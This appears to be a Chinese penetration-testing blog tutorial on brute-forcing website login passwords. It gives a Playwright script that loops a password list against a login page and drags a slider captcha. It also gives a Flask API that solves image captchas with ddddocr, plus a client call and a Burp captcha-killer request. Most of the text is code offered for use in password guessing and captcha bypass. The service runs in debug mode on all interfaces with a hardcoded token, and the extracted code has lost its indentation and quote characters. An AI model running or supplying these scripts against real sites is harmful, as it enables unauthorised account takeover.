渗透测试-基于浏览器的口令暴破与图形验证码识别

基于浏览器的口令暴破与图形验证码识别

前言

随着网络安全水平的发展，越来越多的网站增加了 RSA 加密、图形验证码等防护手段，传统的口令暴破方式已捉襟见肘，如果高效、低代码的进行口令暴破？本文将介绍一个操作浏览器进行口令暴破的案例与验证码识别工具。

Playwright：浏览器自动化工具

Playwright 是一个强大的 Python 库，仅用一个 API 即可自动执行 Chromium、Firefox、WebKit 等主流浏览器自动化操作，并同时支持以无头模式、有头模式运行。相比传统的 “selenium” 等工具，他可以录制我们对浏览器的操作并自动生成脚本，同时代码也是非常简单，与我们高效工作的目标非常契合。

Playwright：滑动验证码案例

生成登录流程代码

安装 playwright 后，运行下面命令进行录制浏览器操作，并生成代码：

python -m playwright codegen

输入目标 URL 并回车，可以看到自动生成了代码：
输入账号、密码，点击验证码，然后点击登录。录制过程中并不能拖动滑块，所以无法生成滑块的代码，登录操作其余的大部分代码均已生成，也可以看到其代码是非常简单的：
修改为暴破脚本
from playwright.sync_api import Playwright, sync_playwright
#chrome的路径
chromepath = r"chromium-939194\chrome-win\chrome.exe"
from time import sleep

def readpasswd(filename):
fp = open(r"password.txt", ‘r’, encoding=‘utf-8’)
return fp

def run(playwright: Playwright) -> None:
browser = playwright.chromium.launch(executable_path=chromepath, headless=False)
context = browser.new_context()

# Open new page
page = context.new_page()
fp = readpasswd(1)
username = 'admin'
# 循环读取字典暴破
for passwd in fp:
    page.goto("http://xxx.xxx.xxx.xxx/login.html")

    # Click input[name="userName"]
    page.click("input[name=\"userName\"]")

    # Fill input[name="userName"]
    page.fill("input[name=\"userName\"]", username)

    # Click input[name="password"]
    page.click("input[name=\"password\"]")

    # Fill input[name="password"]
    page.fill("input[name=\"password\"]", passwd)
    # Click text=/.*\>\>.*/
    # 滑动解锁代码
    s = page.wait_for_selector("text=/.*\\>\\>.*/")
    box = s.bounding_box()
    page.mouse.move(box["x"] + box["width"] / 2, box["y"] + box["height"] / 2)
    page.mouse.down()
    # for i in range(10):
    page.mouse.move(box["x"]+520,box["width"]/2, steps=10)

    # Click text=登录
    page.mouse.up()
    page.click("text=登录")
    sleep(1)
    response_html = page.content()
    print(f'username: {username}, password: {passwd}, length: {len(response_html)}, title: {page.title()}')

# ---------------------
context.close()
browser.close()
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with sync_playwright() as playwright:
run(playwright)

运行效果如下，通过页面长度、标题等输出信息可大致判断是否暴破成功：

ddddocr：Python 验证码识别库

ddddocr 是 Python 的一个 OCR 通用验证码识别 SDK，可离线识别验证码。项目地址：https://github.com/sml2h3/ddddocr。
为了方便使用这个验证码识别工具，我写了个简单的 web api 来方便远程调用验证码识别服务：

###保存以下代码为py文件，在服务器或者本地运行（需安装好ddddocr库）。
from flask import Flask
from flask import request, abort
import base64
import traceback
import sys
from os.path import join, abspath, dirname
import ddddocr

app = Flask(name)
token = ‘fbc3a282fd5ed254e54d2260607a1360’

@app.route(‘/’, methods=[‘GET’, ‘POST’])
def index():
res = ‘’
if request.method == ‘POST’:
usertoken = request.form.get(‘token’)
img = request.form.get(‘b64img’)
if token != usertoken:
return ‘token error!’, 403
else:
try:
content = base64.b64decode(img.encode(‘utf-8’))
res = classfifyCode(content)
except:
traceback.print_exc()
res = ‘’

return res, 200
1

def classfifyCode(image):
ocr = ddddocr.DdddOcr()
res = ocr.classification(image)
return res

def main():
app.run(host=‘0.0.0.0’, port=50000, debug=True)

if name == “main”:
main()

调用示例如下：
import requests
import base64

#获取验证码图片
r = requests.get(‘http://xxx.xxx.xxx/code.php’)
img = r.content

b64img = base64.b64encode(img).decode(‘utf-8’)
token = ‘fbc3a282fd5ed254e54d2260607a1360’

data = {
‘token’: token,
‘b64img’: b64img
}

#验证码识别服务器url
r2 = requests.post(‘http://127.0.0.1:50000’, data=data)

print(r2.text, r.status_code)

这里随便找了个图形验证码测试，能正常检测出来，而且速度非常快：
既然验证码识别的问题解决了，后面就是根据我们的实际需要去编写脚本或者集成到已有工具中了，非常简单。

下面补充一个 burpsuite 验证码识别插件 captcha-killer 调用该接口的案例：
captcha-killer：https://github.com/c0ny1/captcha-killer

POST / HTTP/1.1
Host: 127.0.0.1:50000
User-Agent: python-requests/2.26.0
Accept-Encoding: gzip, deflate
Accept: /
Connection: close
Content-Length: 2776
Content-Type: application/x-www-form-urlencoded
token=fbc3a282fd5ed254e54d2260607a1360&b64img=<@URLENCODE><@BASE64><@IMG_RAW>/@BASE64/@URLENCODE

小结
本文介绍了浏览器自动化工具 Playwright、验证码识别库 ddddocr 以及滑动验证码的暴破案例，如果遇到图形验证码的站点，只需要把滑动验证码的代码修改为调用 ddddocr 接口即可，相信聪明的读者们一定可以做到，就不重复赘述。

最后，感谢以下开源项目的作者为我们带来如此方便好用的工具：
https://github.com/microsoft/playwright-python
https://github.com/sml2h3/ddddocr
https://github.com/c0ny1/captcha-killer